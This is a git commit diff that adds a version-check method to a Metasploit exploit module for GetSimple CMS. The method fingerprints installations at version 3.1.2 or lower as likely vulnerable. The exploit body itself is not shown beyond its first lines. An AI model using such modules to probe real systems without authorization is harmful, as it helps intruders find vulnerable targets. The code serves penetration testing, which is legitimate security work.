Add check method

bug/bundler_fix
jvazquez-r7 2014-09-19 17:11:16 -05:00
parent ce0b00bb0b
commit 1fa5c8c00c
1 changed files with 18 additions and 0 deletions

View File

@ -84,6 +84,24 @@ class Metasploit3 < Msf::Exploit::Remote
res
end
def check
res = send_request_cgi({'uri' => normalize_uri(target_uri.path.to_s, 'admin', 'index.php')})
if res && res.code == 200 && res.body && res.body.to_s =~ /GetSimple CMS.*Version\s*([0-9\.]+)/
version = $1
else
return Exploit::CheckCode::Unknown
end
print_status("#{peer} - Version #{version} found")
if Gem::Version.new(version) <= Gem::Version.new('3.1.2')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def exploit
print_status("#{peer} - Authenticating...")
res = send_request_auth